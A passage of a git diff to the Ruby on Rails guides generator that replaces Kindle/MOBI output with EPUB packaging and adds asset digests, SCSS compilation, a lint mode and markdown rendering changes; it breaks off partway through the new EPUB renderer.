-  kindle:   env_flag["KINDLE"],
-  language: env_value["GUIDES_LANGUAGE"]
-).generate
diff --git a/guides/rails_guides/epub.rb b/guides/rails_guides/epub.rb
new file mode 100644
index 0000000000000..7a8c9e431ab21
--- /dev/null
+++ b/guides/rails_guides/epub.rb
@@ -0,0 +1,94 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+require "nokogiri"
+require "fileutils"
+require "yaml"
+require "date"
+
+require "rails_guides/epub_packer"
+
+module Epub # :nodoc:
+  extend self
+
+  def generate(output_dir, epub_outfile)
+    fix_file_names(output_dir)
+    generate_meta_files(output_dir)
+    generate_epub(output_dir, epub_outfile)
+  end
+
+  private
+    def open_toc_doc(toc)
+      Nokogiri::XML(toc).xpath("//ncx:content", "ncx" => "http://www.daisy.org/z3986/2005/ncx/")
+    end
+
+    def generate_meta_files(output_dir)
+      output_dir = File.absolute_path(File.join(output_dir, ".."))
+      Dir.chdir output_dir do
+        puts "=> Using output dir: #{output_dir}"
+        puts "=> Generating meta files"
+        FileUtils.mkdir_p("META-INF")
+        File.write("META-INF/container.xml", <<~CONTENT)
+        <?xml version="1.0" encoding="UTF-8"?>
+        <container xmlns="urn:oasis:names:tc:opendocument:xmlns:container" version="1.0">
+          <rootfiles>
+              <rootfile full-path="OEBPS/rails_guides.opf" media-type="application/oebps-package+xml"/>
+          </rootfiles>
+        </container>
+        CONTENT
+      end
+    end
+
+    def generate_epub(output_dir, epub_outfile)
+      output_dir = File.absolute_path(File.join(output_dir, ".."))
+      Dir.chdir output_dir do
+        puts "=> Generating EPUB"
+        EpubPacker.pack("./", epub_outfile)
+        puts "=> Done Generating EPUB"
+      end
+    end
+
+    def is_name_invalid(name)
+      name.match?(/\A\d/)
+    end
+
+    def fix_file_names(output_dir)
+      book_dir = File.absolute_path(output_dir)
+      Dir.chdir book_dir do
+        puts "=> Using book dir: #{book_dir}"
+        puts "=> Fixing filenames in Table of Contents"
+        # opf file: item->id and itemref->idref attributes does not support values starting with a number
+        toc = File.read("toc.ncx")
+        toc_html = File.read("toc.html")
+        opf = File.read("rails_guides.opf")
+
+        doc = open_toc_doc(toc)
+        doc.each do |c|
+          name = c[:src]
+
+          if is_name_invalid(name)
+            FileUtils.mv(name, "rails_#{name}")
+            toc.gsub!(name, "rails_#{name}")
+            toc_html.gsub!(name, "rails_#{name}")
+            opf.gsub!(name, "rails_#{name}")
+          end
+        end
+        File.write("toc.ncx", toc)
+        File.write("toc.html", toc_html)
+        File.write("rails_guides.opf", opf)
+      end
+    end
+
+    def add_head_section(doc, title)
+      head = Nokogiri::XML::Node.new "head", doc
+      title_node = Nokogiri::XML::Node.new "title", doc
+      title_node.content = title
+      title_node.parent = head
+      css = Nokogiri::XML::Node.new "link", doc
+      css["rel"] = "stylesheet"
+      css["type"] = "text/css"
+      css["href"] = "#{Dir.pwd}/stylesheets/epub.css"
+      css.parent = head
+      doc.at("body").before head
+    end
+end
diff --git a/guides/rails_guides/epub_packer.rb b/guides/rails_guides/epub_packer.rb
new file mode 100644
index 0000000000000..d4ac611ed7cd1
--- /dev/null
+++ b/guides/rails_guides/epub_packer.rb
@@ -0,0 +1,59 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+require "nokogiri"
+require "fileutils"
+require "yaml"
+require "date"
+require "zip"
+
+module EpubPacker # :nodoc:
+  extend self
+
+  def pack(output_dir, epub_file_name)
+    @output_dir = output_dir
+
+    FileUtils.rm_f(epub_file_name)
+
+    Zip::OutputStream.open(epub_file_name) {
+      |epub|
+      create_epub(epub, epub_file_name)
+    }
+
+    entries = Dir.entries(output_dir) - %w[. ..]
+
+    entries.reject! { |item| File.extname(item) == ".epub" }
+
+    Zip::File.open(epub_file_name, create: true) do |epub|
+      write_entries(entries, "", epub)
+    end
+  end
+
+  def create_epub(epub, epub_file_name)
+    epub.put_next_entry("mimetype", nil, nil, Zip::Entry::STORED, Zlib::NO_COMPRESSION)
+    epub.write "application/epub+zip"
+  end
+
+  def write_entries(entries, path, zipfile)
+    entries.each do |e|
+      zipfile_path = path == "" ? e : File.join(path, e)
+      disk_file_path = File.join(@output_dir, zipfile_path)
+
+      if File.directory? disk_file_path
+        recursively_deflate_directory(disk_file_path, zipfile, zipfile_path)
+      else
+        put_into_archive(disk_file_path, zipfile, zipfile_path)
+      end
+    end
+  end
+
+  def recursively_deflate_directory(disk_file_path, zipfile, zipfile_path)
+    zipfile.mkdir zipfile_path
+    subdir = Dir.entries(disk_file_path) - %w[. ..]
+    write_entries subdir, zipfile_path, zipfile
+  end
+
+  def put_into_archive(disk_file_path, zipfile, zipfile_path)
+    zipfile.add(zipfile_path, disk_file_path)
+  end
+end
diff --git a/guides/rails_guides/generator.rb b/guides/rails_guides/generator.rb
index 28164a3cb4e19..e10f0f2f9c9ba 100644
--- a/guides/rails_guides/generator.rb
+++ b/guides/rails_guides/generator.rb
@@ -1,5 +1,9 @@
-require "set"
+# frozen_string_literal: true
+
 require "fileutils"
+require "nokogiri"
+require "securerandom"
+require "digest"
 
 require "active_support/core_ext/string/output_safety"
 require "active_support/core_ext/object/blank"
@@ -7,62 +11,75 @@
 require "action_view"
 
 require "rails_guides/markdown"
-require "rails_guides/indexer"
 require "rails_guides/helpers"
-require "rails_guides/levenshtein"
+require "rails_guides/epub"
 
 module RailsGuides
   class Generator
     GUIDES_RE = /\.(?:erb|md)\z/
 
-    def initialize(edge:, version:, all:, only:, kindle:, language:)
-      @edge     = edge
-      @version  = version
-      @all      = all
-      @only     = only
-      @kindle   = kindle
-      @language = language
-
-      if @kindle
-        check_for_kindlegen
-        register_kindle_mime_types
+    def initialize(edge:, version:, all:, only:, epub:, language:, direction: nil, lint:)
+      @edge         = edge
+      @version      = version
+      @all          = all
+      @only         = only
+      @epub         = epub
+      @language     = language
+      @direction    = direction || "ltr"
+      @digest_paths = {}
+      @lint         = lint
+      @warnings     = []
+
+      if @epub
+        register_special_mime_types
       end
 
       initialize_dirs
-      create_output_dir_if_needed
+      create_output_dir_if_needed if !dry_run?
       initialize_markdown_renderer
     end
 
     def generate
+      if !dry_run?
+        # First copy assets and add digests to make sure digest_paths are
+        # present in generate_guides.
+        cleanup_assets
+        process_scss
+        copy_assets
+        add_digests
+      end
+
       generate_guides
-      copy_assets
-      generate_mobi if @kindle
+
+      if @lint && @warnings.any?
+        puts "#{@warnings.join("\n")}"
+        exit 1
+      end
+
+      if !dry_run?
+        generate_epub if @epub
+      end
     end
 
     private
+      def dry_run?
+        [@lint].any?
+      end
 
-      def register_kindle_mime_types
+      def register_special_mime_types
         Mime::Type.register_alias("application/xml", :opf, %w(opf))
         Mime::Type.register_alias("application/xml", :ncx, %w(ncx))
       end
 
-      def check_for_kindlegen
-        if `which kindlegen`.blank?
-          raise "Can't create a kindle version without `kindlegen`."
-        end
-      end
-
-      def generate_mobi
-        require "rails_guides/kindle"
-        out = "#{@output_dir}/kindlegen.out"
-        Kindle.generate(@output_dir, mobi, out)
-        puts "(kindlegen log at #{out})."
+      def generate_epub
+        Epub.generate(@output_dir, epub_filename)
+        puts "Epub generated at: output/epub/#{epub_filename}"
       end
 
-      def mobi
-        mobi  = "ruby_on_rails_guides_#{@version || @edge[0, 7]}"
-        mobi += ".#{@language}" if @language
-        mobi += ".mobi"
+      def epub_filename
+        epub_filename = +"ruby_on_rails_guides_#{@version || @edge[0, 7]}"
+        epub_filename << ".#{@language}" if @language
+        epub_filename << ".epub"
       end
 
       def initialize_dirs
@@ -72,8 +89,8 @@ def initialize_dirs
         @source_dir += "/#{@language}" if @language
 
         @output_dir  = "#{@guides_dir}/output"
-        @output_dir += "/kindle"       if @kindle
-        @source_dir += "/#{@language}" if @language
+        @output_dir += "/epub/OEBPS"       if @epub
+        @output_dir += "/#{@language}" if @language
       end
 
       def create_output_dir_if_needed
@@ -95,10 +112,9 @@ def generate_guides
       def guides_to_generate
         guides = Dir.entries(@source_dir).grep(GUIDES_RE)
 
-        if @kindle
-          Dir.entries("#{@source_dir}/kindle").grep(GUIDES_RE).map do |entry|
-            next if entry == "KINDLE.md"
-            guides << "kindle/#{entry}"
+        if @epub
+          Dir.entries("#{@source_dir}/epub").grep(GUIDES_RE).map do |entry|
+            guides << "epub/#{entry}"
           end
         end
 
@@ -108,19 +124,48 @@ def guides_to_generate
       def select_only(guides)
         prefixes = @only.split(",").map(&:strip)
         guides.select do |guide|
-          guide.start_with?("kindle", *prefixes)
+          guide.start_with?("epub", *prefixes)
         end
       end
 
+      def cleanup_assets
+        FileUtils.rm_rf(Dir.glob("#{@output_dir}/{stylesheets,javascripts}"))
+      end
+
+      def process_scss
+        system "bundle exec dartsass \
+          #{@guides_dir}/assets/stylesrc/style.scss:#{@output_dir}/stylesheets/style.css \
+          #{@guides_dir}/assets/stylesrc/highlight.scss:#{@output_dir}/stylesheets/highlight.css \
+          #{@guides_dir}/assets/stylesrc/print.scss:#{@output_dir}/stylesheets/print.css"
+      end
+
       def copy_assets
-        FileUtils.cp_r(Dir.glob("#{@guides_dir}/assets/*"), @output_dir)
+        source_files = Dir.glob("#{@guides_dir}/assets/*").reject { |name| name.include?("stylesrc") }
+        FileUtils.cp_r(source_files, @output_dir)
+      end
+
+      def add_digests
+        assets_files = Dir.glob("{javascripts,stylesheets}/**/*", base: @output_dir)
+        # Add the MD5 digest to the asset names.
+        assets_files.each do |asset|
+          asset_path = File.join(@output_dir, asset)
+          if File.file?(asset_path)
+            digest = Digest::MD5.file(asset_path).hexdigest
+            ext = File.extname(asset)
+            basename = File.basename(asset, ext)
+            dirname = File.dirname(asset)
+            digest_path = "#{dirname}/#{basename}-#{digest}#{ext}"
+            FileUtils.mv(asset_path, "#{@output_dir}/#{digest_path}")
+            @digest_paths[asset] = digest_path
+          end
+        end
       end
 
       def output_file_for(guide)
         if guide.end_with?(".md")
           guide.sub(/md\z/, "html")
         else
-          guide.sub(/\.erb\z/, "")
+          guide.delete_suffix(".erb")
         end
       end
 
@@ -137,36 +182,46 @@ def generate?(source_file, output_file)
       def generate_guide(guide, output_file)
         output_path = output_path_for(output_file)
         puts "Generating #{guide} as #{output_file}"
-        layout = @kindle ? "kindle/layout" : "layout"
-
-        File.open(output_path, "w") do |f|
-          view = ActionView::Base.new(
-            @source_dir,
-            edge:     @edge,
-            version:  @version,
-            mobi:     "kindle/#{mobi}",
-            language: @language
-          )
-          view.extend(Helpers)
-
-          if guide =~ /\.(\w+)\.erb$/
-            # Generate the special pages like the home.
-            # Passing a template handler in the template name is deprecated. So pass the file name without the extension.
-            result = view.render(layout: layout, formats: [$1], file: $`)
-          else
-            body = File.read("#{@source_dir}/#{guide}")
-            result = RailsGuides::Markdown.new(
-              view:    view,
-              layout:  layout,
-              edge:    @edge,
-              version: @version
-            ).render(body)
-
-            warn_about_broken_links(result)
+        layout = @epub ? "epub/layout" : "layout"
+
+        view = ActionView::Base.with_empty_template_cache.with_view_paths(
+          [@source_dir],
+          edge:          @edge,
+          version:       @version,
+          path:          output_file,
+          epub:          "epub/#{epub_filename}",
+          language:      @language,
+          direction:     @direction,
+          uuid:          SecureRandom.uuid,
+          digest_paths:  @digest_paths
+        )
+        view.extend(Helpers)
+
+        if guide =~ /\.(\w+)\.erb$/
+          return if %w[_license _welcome layout].include?($`)
+
+          # Generate the special pages like the home.
+          # Passing a template handler in the template name is deprecated. So pass the file name without the extension.
+          result = view.render(layout: layout, formats: [$1.to_sym], template: $`)
+        else
+          body = File.read("#{@source_dir}/#{guide}")
+          result = RailsGuides::Markdown.new(
+            view:    view,
+            layout:  layout,
+            edge:    @edge,
+            version: @version,
+            epub:    @epub
+          ).render(body)
+
+          broken = warn_about_broken_links(result)
+          if broken.any?
+            @warnings << "[WARN] BROKEN LINK(s): #{guide}: #{broken.join(", ")}"
           end
+        end
 
+        File.open(output_path, "w") do |f|
           f.write(result)
-        end
+        end if !dry_run?
       end
 
       def warn_about_broken_links(html)
@@ -179,7 +234,7 @@ def extract_anchors(html)
         anchors = Set.new
         html.scan(/<h\d\s+id="([^"]+)/).flatten.each do |anchor|
           if anchors.member?(anchor)
-            puts "*** DUPLICATE ID: #{anchor}, please make sure that there're no headings with the same name at the same level."
+            puts "*** DUPLICATE ID: '#{anchor}', please make sure that there are no headings with the same name at the same level."
           else
             anchors << anchor
           end
@@ -192,15 +247,19 @@ def extract_anchors(html)
       end
 
       def check_fragment_identifiers(html, anchors)
+        broken_links = []
+
         html.scan(/<a\s+href="#([^"]+)/).flatten.each do |fragment_identifier|
-          next if fragment_identifier == "mainCol" # in layout, jumps to some DIV
-          unless anchors.member?(fragment_identifier)
-            guess = anchors.min { |a, b|
-              Levenshtein.distance(fragment_identifier, a) <=> Levenshtein.distance(fragment_identifier, b)
-            }
+          next if fragment_identifier == "column-main" # in layout
+          next if fragment_identifier == "main-skip-link" # in layout
+          unless anchors.member?(CGI.unescape(fragment_identifier))
+            guess = DidYouMean::SpellChecker.new(dictionary: anchors).correct(fragment_identifier).first
             puts "*** BROKEN LINK: ##{fragment_identifier}, perhaps you meant ##{guess}."
+            broken_links << "##{fragment_identifier}"
           end
         end
+
+        broken_links
       end
   end
 end
diff --git a/guides/rails_guides/helpers.rb b/guides/rails_guides/helpers.rb
index 6f4b0b492ca23..6274fddaaa4d0 100644
--- a/guides/rails_guides/helpers.rb
+++ b/guides/rails_guides/helpers.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "yaml"
 
 module RailsGuides
@@ -7,7 +9,7 @@ def guide(name, url, options = {}, &block)
       result = content_tag(:dt, link)
 
       if options[:work_in_progress]
-        result << content_tag(:dd, "Work in progress", class: "work-in-progress")
+        result << content_tag(:dd, "Work in progress", class: "interstitial work-in-progress")
       end
 
       result << content_tag(:dd, capture(&block))
@@ -15,7 +17,7 @@ def guide(name, url, options = {}, &block)
     end
 
     def documents_by_section
-      @documents_by_section ||= YAML.load_file(File.expand_path("../../source/#{@lang ? @lang + '/' : ''}documents.yaml", __FILE__))
+      @documents_by_section ||= YAML.load_file(File.expand_path("../source/#{@language ? @language + '/' : ''}documents.yaml", __dir__))
     end
 
     def documents_flat
@@ -26,6 +28,15 @@ def finished_documents(documents)
       documents.reject { |document| document["work_in_progress"] }
     end
 
+    def all_images
+      base_path = File.expand_path("../assets", __dir__)
+      images_path = File.join(base_path, "images/**/*")
+      @all_images = Dir.glob(images_path).reject { |f| File.directory?(f) }.map { |item|
+        item.delete_prefix "#{base_path}/"
+      }
+      @all_images
+    end
+
     def docs_for_menu(position = nil)
       if position.nil?
         documents_by_section
@@ -36,18 +47,19 @@ def docs_for_menu(position = nil)
       end
     end
 
-    def author(name, nick, image = "credits_pic_blank.gif", &block)
-      image = "images/#{image}"
-
-      result = tag(:img, src: image, class: "left pic", alt: name, width: 91, height: 91)
-      result << content_tag(:h3, name)
-      result << content_tag(:p, capture(&block))
-      content_tag(:div, result, class: "clearfix", id: nick)
+    def canonical_url(path)
+      url = "https://guides.rubyonrails.org/"
+      url += path unless path == "index.html"
+      url
     end
 
     def code(&block)
       c = capture(&block)
       content_tag(:code, c)
     end
+
+    def digest_path(original_filename)
+      @digest_paths[original_filename] || original_filename
+    end
   end
 end
diff --git a/guides/rails_guides/indexer.rb b/guides/rails_guides/indexer.rb
deleted file mode 100644
index c58b6b85a2203..0000000000000
--- a/guides/rails_guides/indexer.rb
+++ /dev/null
@@ -1,68 +0,0 @@
-require "active_support/core_ext/object/blank"
-require "active_support/core_ext/string/inflections"
-
-module RailsGuides
-  class Indexer
-    attr_reader :body, :result, :warnings, :level_hash
-
-    def initialize(body, warnings)
-      @body     = body
-      @result   = @body.dup
-      @warnings = warnings
-    end
-
-    def index
-      @level_hash = process(body)
-    end
-
-    private
-
-      def process(string, current_level = 3, counters = [1])
-        s = StringScanner.new(string)
-
-        level_hash = {}
-
-        while !s.eos?
-          re = %r{^h(\d)(?:\((#.*?)\))?\s*\.\s*(.*)$}
-          s.match?(re)
-          if matched = s.matched
-            matched =~ re
-            level, idx, title = $1.to_i, $2, $3.strip
-
-            if level < current_level
-              # This is needed. Go figure.
-              return level_hash
-            elsif level == current_level
-              index = counters.join(".")
-              idx ||= "#" + title_to_idx(title)
-
-              raise "Parsing Fail" unless @result.sub!(matched, "h#{level}(#{idx}). #{index} #{title}")
-
-              key = {
-                title: title,
-                id: idx
-              }
-              # Recurse
-              counters << 1
-              level_hash[key] = process(s.post_match, current_level + 1, counters)
-              counters.pop
-
-              # Increment the current level
-              last = counters.pop
-              counters << last + 1
-            end
-          end
-          s.getch
-        end
-        level_hash
-      end
-
-      def title_to_idx(title)
-        idx = title.strip.parameterize.sub(/^\d+/, "")
-        if warnings && idx.blank?
-          puts "BLANK ID: please put an explicit ID for section #{title}, as in h5(#my-id)"
-        end
-        idx
-      end
-  end
-end
diff --git a/guides/rails_guides/kindle.rb b/guides/rails_guides/kindle.rb
deleted file mode 100644
index 9536d0bd3bdd4..0000000000000
--- a/guides/rails_guides/kindle.rb
+++ /dev/null
@@ -1,115 +0,0 @@
-#!/usr/bin/env ruby
-
-require "kindlerb"
-require "nokogiri"
-require "fileutils"
-require "yaml"
-require "date"
-
-module Kindle
-  extend self
-
-  def generate(output_dir, mobi_outfile, logfile)
-    output_dir = File.absolute_path(output_dir)
-    Dir.chdir output_dir do
-      puts "=> Using output dir: #{output_dir}"
-      puts "=> Arranging html pages in document order"
-      toc = File.read("toc.ncx")
-      doc = Nokogiri::XML(toc).xpath("//ncx:content", "ncx" => "http://www.daisy.org/z3986/2005/ncx/")
-      html_pages = doc.select { |c| c[:src] }.map { |c| c[:src] }.uniq
-
-      generate_front_matter(html_pages)
-
-      generate_sections(html_pages)
-
-      generate_document_metadata(mobi_outfile)
-
-      puts "Creating MOBI document with kindlegen. This may take a while."
-      if Kindlerb.run(output_dir)
-        puts "MOBI document generated at #{File.expand_path(mobi_outfile, output_dir)}"
-      end
-    end
-  end
-
-  def generate_front_matter(html_pages)
-    frontmatter = []
-    html_pages.delete_if { |x|
-      if x =~ /(toc|welcome|credits|copyright).html/
-        frontmatter << x unless x =~ /toc/
-        true
-      end
-    }
-    html = frontmatter.map { |x|
-      Nokogiri::HTML(File.open(x)).at("body").inner_html
-    }.join("\n")
-
-    fdoc = Nokogiri::HTML(html)
-    fdoc.search("h3").each do |h3|
-      h3.name = "h4"
-    end
-    fdoc.search("h2").each do |h2|
-      h2.name = "h3"
-      h2["id"] = h2.inner_text.gsub(/\s/, "-")
-    end
-    add_head_section fdoc, "Front Matter"
-    File.open("frontmatter.html", "w") { |f| f.puts fdoc.to_html }
-    html_pages.unshift "frontmatter.html"
-  end
-
-  def generate_sections(html_pages)
-    FileUtils::rm_rf("sections/")
-    html_pages.each_with_index do |page, section_idx|
-      FileUtils::mkdir_p("sections/%03d" % section_idx)
-      doc = Nokogiri::HTML(File.open(page))
-      title = doc.at("title").inner_text.gsub("Ruby on Rails Guides: ", "")
-      title = page.capitalize.gsub(".html", "") if title.strip == ""
-      File.open("sections/%03d/_section.txt" % section_idx, "w") { |f| f.puts title }
-      doc.xpath("//h3[@id]").each_with_index do |h3, item_idx|
-        subsection = h3.inner_text
-        content = h3.xpath("./following-sibling::*").take_while { |x| x.name != "h3" }.map(&:to_html)
-        item = Nokogiri::HTML(h3.to_html + content.join("\n"))
-        item_path = "sections/%03d/%03d.html" % [section_idx, item_idx]
-        add_head_section(item, subsection)
-        item.search("img").each do |img|
-          img["src"] = "#{Dir.pwd}/#{img['src']}"
-        end
-        item.xpath("//li/p").each { |p| p.swap(p.children); p.remove }
-        File.open(item_path, "w") { |f| f.puts item.to_html }
-      end
-    end
-  end
-
-  def generate_document_metadata(mobi_outfile)
-    puts "=> Generating _document.yml"
-    x = Nokogiri::XML(File.open("rails_guides.opf")).remove_namespaces!
-    cover_jpg = "#{Dir.pwd}/images/rails_guides_kindle_cover.jpg"
-    cover_gif = cover_jpg.sub(/jpg$/, "gif")
-    puts `convert #{cover_jpg} #{cover_gif}`
-    document = {
-      "doc_uuid" => x.at("package")["unique-identifier"],
-      "title" => x.at("title").inner_text.gsub(/\(.*$/, " v2"),
-      "publisher" => x.at("publisher").inner_text,
-      "author" => x.at("creator").inner_text,
-      "subject" => x.at("subject").inner_text,
-      "date" => x.at("date").inner_text,
-      "cover" => cover_gif,
-      "masthead" => nil,
-      "mobi_outfile" => mobi_outfile
-    }
-    puts document.to_yaml
-    File.open("_document.yml", "w") { |f| f.puts document.to_yaml }
-  end
-
-  def add_head_section(doc, title)
-    head = Nokogiri::XML::Node.new "head", doc
-    title_node = Nokogiri::XML::Node.new "title", doc
-    title_node.content = title
-    title_node.parent = head
-    css = Nokogiri::XML::Node.new "link", doc
-    css["rel"] = "stylesheet"
-    css["type"] = "text/css"
-    css["href"] = "#{Dir.pwd}/stylesheets/kindle.css"
-    css.parent = head
-    doc.at("body").before head
-  end
-end
diff --git a/guides/rails_guides/levenshtein.rb b/guides/rails_guides/levenshtein.rb
deleted file mode 100644
index 40c6a5c372dd8..0000000000000
--- a/guides/rails_guides/levenshtein.rb
+++ /dev/null
@@ -1,42 +0,0 @@
-module RailsGuides
-  module Levenshtein
-    # This code is based directly on the Text gem implementation.
-    # Copyright (c) 2006-2013 Paul Battley, Michael Neumann, Tim Fletcher.
-    #
-    # Returns a value representing the "cost" of transforming str1 into str2
-    def self.distance(str1, str2)
-      s = str1
-      t = str2
-      n = s.length
-      m = t.length
-
-      return m if (0 == n)
-      return n if (0 == m)
-
-      d = (0..m).to_a
-      x = nil
-
-      # avoid duplicating an enumerable object in the loop
-      str2_codepoint_enumerable = str2.each_codepoint
-
-      str1.each_codepoint.with_index do |char1, i|
-        e = i + 1
-
-        str2_codepoint_enumerable.with_index do |char2, j|
-          cost = (char1 == char2) ? 0 : 1
-          x = [
-               d[j + 1] + 1, # insertion
-               e + 1,      # deletion
-               d[j] + cost # substitution
-              ].min
-          d[j] = e
-          e = x
-        end
-
-        d[m] = x
-      end
-
-      return x
-    end
-  end
-end
diff --git a/guides/rails_guides/markdown.rb b/guides/rails_guides/markdown.rb
index bf2cc82c7c7d6..1376bd429b9f3 100644
--- a/guides/rails_guides/markdown.rb
+++ b/guides/rails_guides/markdown.rb
@@ -1,10 +1,13 @@
+# frozen_string_literal: true
+
 require "redcarpet"
 require "nokogiri"
 require "rails_guides/markdown/renderer"
+require "rails_guides/markdown/epub_renderer"
 
 module RailsGuides
   class Markdown
-    def initialize(view:, layout:, edge:, version:)
+    def initialize(view:, layout:, edge:, version:, epub:)
       @view          = view
       @layout        = layout
       @edge          = edge
@@ -12,6 +15,7 @@ def initialize(view:, layout:, edge:, version:)
       @index_counter = Hash.new(0)
       @raw_header    = ""
       @node_ids      = {}
+      @epub          = epub
     end
 
     def render(body)
@@ -19,6 +23,7 @@ def render(body)
       extract_raw_header_and_body
       generate_header
       generate_title
+      generate_description
       generate_body
       generate_structure
       generate_index
@@ -26,20 +31,18 @@ def render(body)
     end
 
     private
-
       def dom_id(nodes)
         dom_id = dom_id_text(nodes.last.text)
 
-        # Fix duplicate node by prefix with its parent node
+        # Fix duplicate dom_ids by prefixing the parent node dom_id
         if @node_ids[dom_id]
           if @node_ids[dom_id].size > 1
             duplicate_nodes = @node_ids.delete(dom_id)
-            new_node_id = "#{duplicate_nodes[-2][:id]}-#{duplicate_nodes.last[:id]}"
+            new_node_id = dom_id_with_parent_node(dom_id, duplicate_nodes[-2])
             duplicate_nodes.last[:id] = new_node_id
             @node_ids[new_node_id] = duplicate_nodes
           end
-
-          dom_id = "#{nodes[-2][:id]}-#{dom_id}"
+          dom_id = dom_id_with_parent_node(dom_id, nodes[-2])
         end
 
         @node_ids[dom_id] = nodes
@@ -51,12 +54,22 @@ def dom_id_text(text)
 
         text.downcase.gsub(/\?/, "-questionmark")
                      .gsub(/!/, "-bang")
+                     .gsub(/\[\]/, "-squarebrackets")
                      .gsub(/[#{escaped_chars}]+/, " ").strip
                      .gsub(/\s+/, "-")
       end
 
+      def dom_id_with_parent_node(dom_id, parent_node)
+        if parent_node
+          [parent_node[:id], dom_id].join("-")
+        else
+          dom_id
+        end
+      end
+
       def engine
-        @engine ||= Redcarpet::Markdown.new(Renderer,
+        renderer = @epub ? EpubRenderer : Renderer
+        @engine ||= Redcarpet::Markdown.new(renderer,
           no_intra_emphasis: true,
           fenced_code_blocks: true,
           autolink: true,
@@ -67,8 +80,8 @@ def engine
       end
 
       def extract_raw_header_and_body
-        if @raw_body =~ /^\-{40,}$/
-          @raw_header, _, @raw_body = @raw_body.partition(/^\-{40,}$/).map(&:strip)
+        if /^-{40,}$/.match?(@raw_body)
+          @raw_header, _, @raw_body = @raw_body.partition(/^-{40,}$/).map(&:strip)
         end
       end
 
@@ -80,32 +93,45 @@ def generate_header
         @header = engine.render(@raw_header).html_safe
       end
 
+      def generate_description
+        sanitizer = Rails::Html::FullSanitizer.new
+        @description = sanitizer.sanitize(@header).squish.delete_prefix(@heading)
+      end
+
       def generate_structure
         @headings_for_index = []
         if @body.present?
-          @body = Nokogiri::HTML.fragment(@body).tap do |doc|
+          document = html_fragment(@body).tap do |doc|
             hierarchy = []
 
             doc.children.each do |node|
-              if node.name =~ /^h[3-6]$/
+              if /^h[2-5]$/.match?(node.name)
                 case node.name
-                when "h3"
+                when "h2"
                   hierarchy = [node]
                   @headings_for_index << [1, node, node.inner_html]
-                when "h4"
+                when "h3"
                   hierarchy = hierarchy[0, 1] + [node]
                   @headings_for_index << [2, node, node.inner_html]
-                when "h5"
+                when "h4"
                   hierarchy = hierarchy[0, 2] + [node]
-                when "h6"
+                when "h5"
                   hierarchy = hierarchy[0, 3] + [node]
                 end
 
-                node[:id] = dom_id(hierarchy)
-                node.inner_html = "#{node_index(hierarchy)} #{node.inner_html}"
+                node[:id] = dom_id(hierarchy) unless node[:id]
+                node.inner_html = "<span>#{node_index(hierarchy)}</span> #{node.inner_html}"
               end
             end
-          end.to_html
+
+            doc.css("h2, h3, h4, h5").each do |node|
+              node.inner_html = "<a class='anchorlink' href='##{node[:id]}' data-turbo='false'>#{node.inner_html}</a>"
+            end
+
+            tables = doc.css("table")
+            tables.wrap("<div class='table-wrapper'>")
+          end
+          @body = @epub ? document.to_xhtml : document.to_html
         end
       end
 
@@ -120,22 +146,36 @@ def generate_index
             end
           end
 
-          @index = Nokogiri::HTML.fragment(engine.render(raw_index)).tap do |doc|
+          @index = html_fragment(engine.render(raw_index)).tap do |doc|
             doc.at("ol")[:class] = "chapters"
           end.to_html
 
           @index = <<-INDEX.html_safe
-          <div id="subCol">
-            <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+          <nav id="column-side" aria-label="Chapter" class="guide-index" data-turbo="false">
+            <a id="chapter-nav-skip-link" href="#article-body" class="skip-link">
+              Skip to article body
+            </a>
+
+            <h2 class="chapter">
+              <picture aria-hidden="true">
+                <!-- Using the `source`  HTML tag to set the dark theme image -->
+                <source
+                  srcset="images/icon_book-close-bookmark-1-wht.svg"
+                  media="(prefers-color-scheme: dark)"
+                />
+                <img src="images/icon_book-close-bookmark-1.svg" alt="Chapter Icon" />
+              </picture>
+              Chapters
+            </h2>
             #{@index}
-          </div>
+          </nav>
           INDEX
         end
       end
 
       def generate_title
-        if heading = Nokogiri::HTML.fragment(@header).at(:h2)
-          @title = "#{heading.text} — Ruby on Rails Guides"
+        if @heading = html_fragment(@header).at(:h1)
+          @title = "#{@heading.text} — Ruby on Rails Guides"
         else
           @title = "Ruby on Rails Guides"
         end
@@ -145,23 +185,32 @@ def node_index(hierarchy)
         case hierarchy.size
         when 1
           @index_counter[2] = @index_counter[3] = @index_counter[4] = 0
-          "#{@index_counter[1] += 1}"
+          "#{@index_counter[1] += 1}."
         when 2
           @index_counter[3] = @index_counter[4] = 0
-          "#{@index_counter[1]}.#{@index_counter[2] += 1}"
+          "#{@index_counter[1]}.#{@index_counter[2] += 1}."
         when 3
           @index_counter[4] = 0
-          "#{@index_counter[1]}.#{@index_counter[2]}.#{@index_counter[3] += 1}"
+          "#{@index_counter[1]}.#{@index_counter[2]}.#{@index_counter[3] += 1}."
         when 4
-          "#{@index_counter[1]}.#{@index_counter[2]}.#{@index_counter[3]}.#{@index_counter[4] += 1}"
+          "#{@index_counter[1]}.#{@index_counter[2]}.#{@index_counter[3]}.#{@index_counter[4] += 1}."
         end
       end
 
       def render_page
         @view.content_for(:header_section) { @header }
+        @view.content_for(:description) { @description }
         @view.content_for(:page_title) { @title }
         @view.content_for(:index_section) { @index }
         @view.render(layout: @layout, html: @body.html_safe)
       end
+
+      def html_fragment(html)
+        if defined?(Nokogiri::HTML5)
+          Nokogiri::HTML5.fragment(html)
+        else
+          Nokogiri::HTML4.fragment(html)
+        end
+      end
   end
 end
diff --git a/guides/rails_guides/markdown/epub_renderer.rb b/guides/rails_guides/markdown/epub_renderer.rb
new file mode 100644
index 0000000000000..4659f334f19bb
--- /dev/null
+++ b/guides/rails_guides/markdown/epub_renderer.rb
@@ -0,0 +1,110 @@
+# frozen_string_literal: true
+
+require "rouge"
+
+# Add more common shell commands
+Rouge::Lexers::Shell::BUILTINS << "|bin/rails|brew|bundle|gem|git|node|rails|rake|ruby|sqlite3|yarn"
+
+module RailsGuides
+  class Markdown
+    class EpubRenderer < Redcarpet::Render::XHTML  # :nodoc:
+      cattr_accessor :edge, :version
+
+      def linebreak
+        "<br/>"
+      end
+
+      def link(url, title, content)
+        if %r{https?://api\.rubyonrails\.org}.match?(url)
+          %(<a href="#{api_link(url)}">#{content}</a>)
+        elsif title
+          %(<a href="#{url}" title="#{title}">#{content}</a>)
+        else
+          %(<a href="#{url}">#{content}</a>)
+        end
+      end
+
+      def header(text, header_level)
+        header_with_id = text.scan(/(.*){#(.*)}/)
+        unless header_with_id.empty?
